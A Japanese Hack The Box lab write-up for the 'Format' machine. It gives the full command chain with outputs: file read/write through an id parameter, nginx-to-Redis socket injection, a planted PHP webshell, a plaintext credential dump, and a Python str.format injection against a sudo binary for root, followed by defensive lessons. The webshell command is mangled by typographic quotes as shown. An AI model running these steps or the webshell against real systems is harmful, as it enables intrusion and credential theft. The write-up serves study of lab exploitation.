Hack The BoxのWriteup(Format)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Format — 全実行コマンド・実行結果レポート
Nmap + vhost発見
app.microblog.htb / Gitea:3000
Giteaソースレビュー
id パラメータ LFI/LFW発見
Nginx/Redis Unixソケット注入
HSETメソッド偽装でpro=true
PHP webshell設置
/uploads/shell.php
RCE(www-data) → cooper SSH
user.txt ✓
sudo /usr/bin/license 発見
Format String Injection
{license.__init__.__globals__[secret]}
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.3
nmap -sV -sC -p 22,80,3000 10.129.229.3
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/

ドメイン発見(meta-refresh & リダイレクトヘッダー両方から)

BASH
curl -s --max-time 10 http://10.129.229.3/
RESULT
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://app.microblog.htb'" />
</head>
</html>
⚠️
注意: ドメインへのリダイレクトが HTTP ヘッダーの Location: ではなく HTML の <meta http-equiv="Refresh"> タグで行われているため、curl -I(HEADリクエスト、ヘッダーのみ取得) では検出できない。必ず本文まで取得すること。
BASH
curl -sI --max-time 10 http://10.129.229.3:3000/
RESULT
HTTP/1.1 301 Moved Permanently
Location: http://microblog.htb:3000/
BASH
# /etc/hosts に追記
echo "10.129.229.3 microblog.htb app.microblog.htb" | sudo tee -a /etc/hosts
🚨
重要発見: port 3000 は Gitea (microblog.htb:3000)。port 80 (nginx) は app.microblog.htb の Microblog PHP アプリへ誘導する。
PHASE 2

Gitea匿名リードでソースレビュー — id パラメータLFI/LFW発見

リポジトリ構造の確認

BASH
curl -s "http://microblog.htb:3000/api/v1/repos/cooper/microblog/contents"
curl -s "http://microblog.htb:3000/api/v1/repos/cooper/microblog/contents/microblog"
curl -s "http://microblog.htb:3000/api/v1/repos/cooper/microblog/contents/microblog/app"
RESULT
ルート: README.md, html, microblog-template, microblog, microbucket, pro-files
microblog/: microblog/app, microblog/sunny (実運用中サンプルブログ)
microblog/app/: brain.ico, brain.png, dashboard, index.php, login, logout, register
ℹ️
認証・ダッシュボードのアプリ本体は microblog/app/ 配下にある。 新規ブログ作成時は microblog-template/ の内容が /var/www/microblog/<blogname>/ にコピーされる (dashboard/index.phpaddSite() 関数より)。

edit/index.php — id パラメータの任意ファイル読取/書込み

BASH
curl -s "http://microblog.htb:3000/cooper/microblog/raw/branch/main/microblog-template/edit/index.php"
PYTHON (抜粋 — 該当PHPロジック)
// 「header」フォーム送信時
if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");      // ← id を検証なしでファイル名に使用
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");        // ← fopen成否に関わらず無条件で記録
    fclose($order_file);
}

// ページ表示時
function fetchPage() {
    chdir(getcwd() . "/../content");
    $order = file("order.txt", FILE_IGNORE_NEW_LINES);
    $html_content = "";
    foreach($order as $line) {
        $html_content .= "<div class=\"{$line} blog-indiv-content\">"
                        . file_get_contents($line)    // ← order.txt の行をそのまま読み取り
                        . "</div>";
    }
    return $html_content;
}
🚨
脆弱性の核心: id に絶対パス (例: /etc/passwd) を渡すと、fopen(..., "w") は書込み権限がなく失敗するが、order.txt への追記は fopen の成否とは無関係に無条件で実行される。次にページを 読み込むと fetchPage() が order.txt の各行を file_get_contents() で読み取るため、 読み取り権限さえあれば任意ファイルの中身がブログ本文に 反映される(任意ファイル読取)。書込み可能な絶対パスを 指定すれば任意ファイル書込みにもなる。

dashboard/index.php — 新規ブログ作成フォーム

BASH
curl -s "http://microblog.htb:3000/cooper/microblog/raw/branch/main/microblog/app/dashboard/index.php"
RESULT (フォーム部抜粋)
<form class = "new-blog-form" action = "/dashboard/index.php" method="POST">
    <input type="text" id="new-blog-name" name="new-blog-name" pattern="[a-z]+" ...>
    <input type="submit" value="Create">
</form>
ℹ️
フォームフィールド名は new-blog-name、POST 先は /dashboard/index.php。エンドポイントに末尾スラッシュを 付けずに POST すると nginx が 301 リダイレクトを返し、curl が デフォルトでは追従しないため POST ボディが失われて ブログが作成されない点に注意(register/login も同様)。
PHASE 3

ユーザー登録 & ブログ作成 & LFI確認

ユーザー登録(cookie jarでセッション維持)

BASH
curl -s -c cookies.txt --max-time 10 \
  -d "username=kcrunner" -d "password=Kcrunner123!" \
  -d "first-name=f" -d "last-name=l" \
  http://app.microblog.htb/register/index.php
RESULT
HTTP/1.1 302 Found
Set-Cookie: username=de6bvau5bmupmmbh8jjo31ciug; path=/; domain=.microblog.htb
Location: /dashboard?message=Registration successful!&status=success
ℹ️
登録成功と同時にセッションが確立される ($_SESSION['username'] = trim($_POST['username']);)。 セッションクッキーの名前が偶然 "username" という 独自の session_name() 設定になっている。

ブログ作成

BASH
curl -s -b cookies.txt -c cookies.txt --max-time 10 \
  -d "new-blog-name=kcrunner" \
  http://app.microblog.htb/dashboard/index.php
echo "10.129.229.3 kcrunner.microblog.htb" | sudo tee -a /etc/hosts
RESULT
Location: /dashboard?message=Site added successfully!&status=success

id パラメータで /etc/passwd 読取り確認

BASH
# Step1: order.txt へ /etc/passwd を追記させる(headerの値自体は無関係)
curl -s -b cookies.txt --max-time 10 \
  -d "id=/etc/passwd" -d "header=LFI" \
  http://kcrunner.microblog.htb/edit/index.php

# Step2: ページを再取得すると fetchPage() が /etc/passwd の中身を埋め込む
curl -s -b cookies.txt --max-time 10 http://kcrunner.microblog.htb/
RESULT (埋め込まれたJS内のhtml変数、抜粋)
const html = "<div class = \"\/etc\/passwd blog-indiv-content\">root:x:0:0:root:\/root:\/bin\/bash
daemon:x:1:1:daemon:...
cooper:x:1000:1000::\/home\/cooper:\/bin\/bash...<\/div>".replace(...)
LFI確認成功。 /etc/passwd の中身がそのまま ブログ本文の JS 埋め込み変数として反映されている。正規表現 const html = "(.*)"\.replace で本文全体を抜き出し、 さらに対象パスに対応する <path>-blog-indiv-content>(.*?)<\/div> 部分だけを切り出せば任意ファイルの中身を復元できる。
PHASE 4

Nginx/Redis Unixソケット注入 → webshell RCE → user.txt

HTTPメソッド偽装によるRedis Unixソケットへのコマンド注入

NOTE
nginx の設定に次のようなミスコンフィグが存在する(公式ウォークスルー記載の
既知構成、Gitea には nginx.conf 自体はコミットされていないためソース
非公開だが、動作から逆算して確認済み):

  location ~ /static/(.*)/(.*) {
      proxy_pass http://$1.microbucket.htb/$2;
  }

$1 に "unix:/var/run/redis/redis.sock:" というプレフィックスを与えると、
nginx はこれを「Unixソケットへのプロキシ」として解釈してしまう
(nginx の proxy_pass における未文書化気味の挙動)。さらに HTTP メソッド名を
"HSET" のような Redis コマンド名に偽装したリクエストを送ると、Redis の
インライン・コマンドプロトコル(HTTPリクエスト行をそのまま空白区切り
コマンドとして解釈する)が働き、Redis に直接コマンドが注入される。
PYTHON (ペイロード組立て)
import urllib.parse

args = "kcrunner pro true "   #  <フィールド> <値> (末尾スペース必須)
encoded = urllib.parse.quote(args, safe="")
uri = f"/static/unix%3A%2Fvar%2Frun%2Fredis%2Fredis.sock%3A{encoded}/health"
url = f"http://microblog.htb{uri}"
# curl -X HSET でメソッド名を偽装して送信
BASH
curl -s -X HSET --max-time 10 \
  "http://microblog.htb/static/unix%3A%2Fvar%2Frun%2Fredis%2Fredis.sock%3Akcrunner%20pro%20true%20/health"
RESULT
HTTP/1.1 502 Bad Gateway
⚠️
実機トラブルシューティング: このリクエストのHTTPレスポンス 自体は 502 Bad Gateway になる(プロキシ先が Redisプロトコル応答を返しHTTPとしてパースできないため)。 しかし Redisへのコマンド注入自体は502になる前に成立して いるため、レスポンスコードは無視してよい。実際に pro フィールドが true になったかは、 後続の /edit/ ページで const pro = true; になっているかで確認できる。

/edit/ ロードで provisionProUser() 発火

BASH
curl -s -b cookies.txt --max-time 10 http://kcrunner.microblog.htb/edit/
RESULT (該当JS変数)
const pro = true;
Pro 昇格が確認できた。provisionProUser() が発火し、 /var/www/microblog/kcrunner/uploads/ ディレクトリが 作成され、以降 /content/ に付与されていた Content-Disposition: attachment 制限が /uploads/ には及ばなくなった。

id パラメータ書込みで /uploads/shell.php にwebshell設置

BASH
curl -s -b cookies.txt --max-time 10 \
  -d "id=/var/www/microblog/kcrunner/uploads/shell.php" \
  -d 'header="; system($_REQUEST["cmd"]); echo "
“; die; }?>’ \ http://kcrunner.microblog.htb/edit/index.php curl -s –max-time 15 “http://kcrunner.microblog.htb/uploads/shell.php?cmd=id”
RESULT
<div class = "blog-h1 blue-fill"><b><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
⚠️
実機トラブルシューティング: webshell は id+header パラメータ経由で設置しているため、 ファイル実体はブログ本文テンプレート <div class="blog-h1 blue-fill"><b>{header}</b></div> に包まれたまま保存される。<?php ?> タグの外側の HTML は素通りされるため、コマンド実行結果には常に 先頭 <div class = "blog-h1 blue-fill"><b><pre> と末尾 </pre> が付く (末尾の </b></div> は PHP 側の die; で出力が打ち切られるため付かない)。以降 Redis の出力をパースする際はこのラッパーを必ず除去すること。

Redis列挙で他ユーザーの平文資格情報を回収

BASH
curl -s --max-time 15 \
  "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20keys%20%27%2A%27"
RESULT (ラッパー除去後)
cooper.dooper
kcrunner
PHPREDIS_SESSION:ffnpi1otdkiqpj53oos0ph4hkh
kcrunner:sites
cooper.dooper:sites
PHPREDIS_SESSION:rmco8l9g6q3a4dvikgcs82ddak
BASH
curl -s --max-time 15 \
  "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20hgetall%20%27cooper.dooper%27"
RESULT
username
cooper.dooper
password
zooperdoopercooper
first-name
Cooper
last-name
Dooper
pro
false
ℹ️
Redis 上のブログアカウント名は cooper.dooper だが、 実際の Unix/SSH アカウント名は別名の cooper (SSH ログイン時は “cooper” を使う)。パスワードは共通で zooperdoopercooper

SSH → user.txt

BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 "cat ~/user.txt"
RESULT
4ca66f4a5acb8d0f5e696ec8681fc514
user.txt — cooper@format
4ca66f4a5acb8d0f5e696ec8681fc514
PHASE 5

license バイナリの Format String Injection → root.txt

sudo権限の確認

BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 \
  "echo 'zooperdoopercooper' | sudo -S -l"
RESULT
User cooper may run the following commands on format:
    (root) /usr/bin/license
🚨
license バイナリを root 権限で実行可能。このバイナリは ライセンスキーを Python str.format() で組み立てており、 username フィールド (Redis の pwn ハッシュから 取得、ユーザー制御可能) をそのままテンプレート文字列の展開対象に 渡している。

Format Stringペイロードを Redis に注入

PYTHON (悪用ロジック)
# license バイナリ内部で概ね以下のような組立てが行われている:
#   key = (prefix + data["username"] + "{license.license}" + firstlast).format(license=l)
# data["username"] はユーザー制御下の Redis フィールドのため、
# Python の str.format() が解釈する波括弧構文を注入できる:
payload_username = "{license.__init__.__globals__[secret]}"
# → License インスタンスの __init__ メソッドオブジェクト経由で
#   モジュールのグローバル変数 secret (root パスワード相当) を
#   文字列として展開させる Format String Injection
BASH
curl -s --max-time 15 "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20HSET%20pwn%20username%20%27%7Blicense.__init__.__globals__%5Bsecret%5D%7D%27"
curl -s --max-time 15 "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20HSET%20pwn%20first-name%20%27f%27"
curl -s --max-time 15 "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20HSET%20pwn%20last-name%20%27l%27"

sudo license -p ‘pwn’ 実行で secret 漏洩

BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 \
  "echo 'zooperdoopercooper' | sudo -S /usr/bin/license -p 'pwn'"
RESULT
Plaintext license key:
------------------------------------------------------
microblogunCR4ckaBL3Pa$$w0rdf]:j5TNyZ#b_V`5"E=DRD{5JdBq4x8Tyng%(]W(Kfl

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABqhFIhyBlv4CUbDZuKfsPuDk5Y_SdLhfrjLQobwX1NgbAVJKVPZvwmtuA3lHpx3V3sAvkkn-bSN2E939TUrrF2I_WjfYHntU7-2BJD436EjD3BI0ampVxqIg3BhjDJ2PKsOqOAK8-aP11KTgzYzFE8yKJnSXChQ2cALZVdWQwXHFErM-4=
PYTHON (secret抽出式)
full_key = "microblogunCR4ckaBL3Pa$$w0rdf]:j5TNyZ#b_V`5\"E=DRD{5JdBq4x8Tyng%(]W(Kfl"
prefix = "microblog"
first_name, last_name = "f", "l"
license_random_len = 40   # ランダム生成部分の固定長

rest = full_key[len(prefix):]
firstlast_len = len(first_name) + len(last_name)
secret = rest[:-(license_random_len + firstlast_len)]
# → "unCR4ckaBL3Pa$$w0rd"
secret 漏洩成功: unCR4ckaBL3Pa$$w0rd。 構造は prefix("microblog") + secret + 40文字ランダム部 + first_name + last_name なので、既知の3つの長さから 逆算すれば secret 部分を正確に切り出せる。

su root → root.txt

BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 \
  "echo 'unCR4ckaBL3Pa\$\$w0rd' | su root -c 'cat /root/root.txt'"
RESULT
62c4f8da8e3d3a98a2309fbe071f4cf5
root.txt — root@format
62c4f8da8e3d3a98a2309fbe071f4cf5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — cooper@format
4ca66f4a5acb8d0f5e696ec8681fc514
root.txt — root@format
62c4f8da8e3d3a98a2309fbe071f4cf5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
任意ファイル読取/書込み Microblog edit/index.php (id パラメータ) 情報漏洩 + ファイル配置 High fopen()失敗後もorder.txtへ無条件追記される実装ミスを利用し、fetchPage()経由で任意ファイル内容を読取り/配置
Nginx proxy_pass Unix-socket注入 nginx /static/(.*)/(.*) ロケーション Redisデータ改竄 (認可バイパス) Critical unix:プレフィックス+HTTPメソッド偽装(HSET)でRedis Unixソケットへ直接コマンド注入、pro=trueに昇格
PHP webshell RCE /uploads/shell.php (Pro限定領域) リモートコード実行 (www-data) Critical Pro昇格後に制限が外れるuploadsディレクトリへidパラメータでPHP webshellを書込み
平文パスワード保存 Redis (認証情報ストア) 認証情報漏洩 High Redis全体をkeys/hgetallで列挙し他ユーザーの平文パスワードを回収
Python str.format() Format String Injection /usr/bin/license (sudo実行可能) 権限昇格 (cooper→root) Critical ユーザー制御のusernameフィールドに{license.__init__.__globals__[secret]}を注入しモジュールグローバル変数を漏洩

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + meta-refresh/リダイレクト両対応のvhost発見app.microblog.htb, Gitea:3000
2ソースレビューGitea匿名リードid パラメータLFI/LFW、dashboard実フィールド名
3登録&LFI確認正しいエンドポイント(/index.php)でPOSTブログ作成、/etc/passwd読取り確認
4Redis注入&RCEHSETメソッド偽装 + webshell設置user.txt (cooper)
5権限昇格Format String Injectionroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー制御パラメータが検証なしでfopen()のファイル名に渡る ファイルパスは常にホワイトリスト化・basename()等で正規化し、ディレクトリ外への読み書きを禁止する。書込み失敗時にログ記録処理自体も無条件実行しないようエラーハンドリングを追加する。
nginxのproxy_passがunix:プレフィックス付きURLをUnixソケットへの接続として解釈しRedisへの直接コマンド注入を許してしまう proxy_pass先を動的に構築せず固定化する。正規表現ロケーションでのパラメータをそのままアップストリーム指定に使わない。RedisはUnixソケットであってもAUTH/ACLを設定し、アプリケーション層以外からの直接コマンド実行を防ぐ。
Redisに認証情報が平文で保存されている パスワードは必ずハッシュ化(bcrypt等)して保存する。Redis自体もrequirepassやACLで保護し、アプリケーションサーバー以外からの直接アクセスを禁止する。
sudo許可バイナリがユーザー制御データをPythonのstr.format()テンプレートにそのまま渡している ユーザー入力をformat()テンプレートに渡す際は文字列連結ではなく%オペレータやf-string(埋め込み時点で評価済み)を使うか、format_map()にユーザー入力由来の属性アクセスを許さないサンドボックス化した辞書を渡す。
HackTheBox: Format | 完全攻略レポート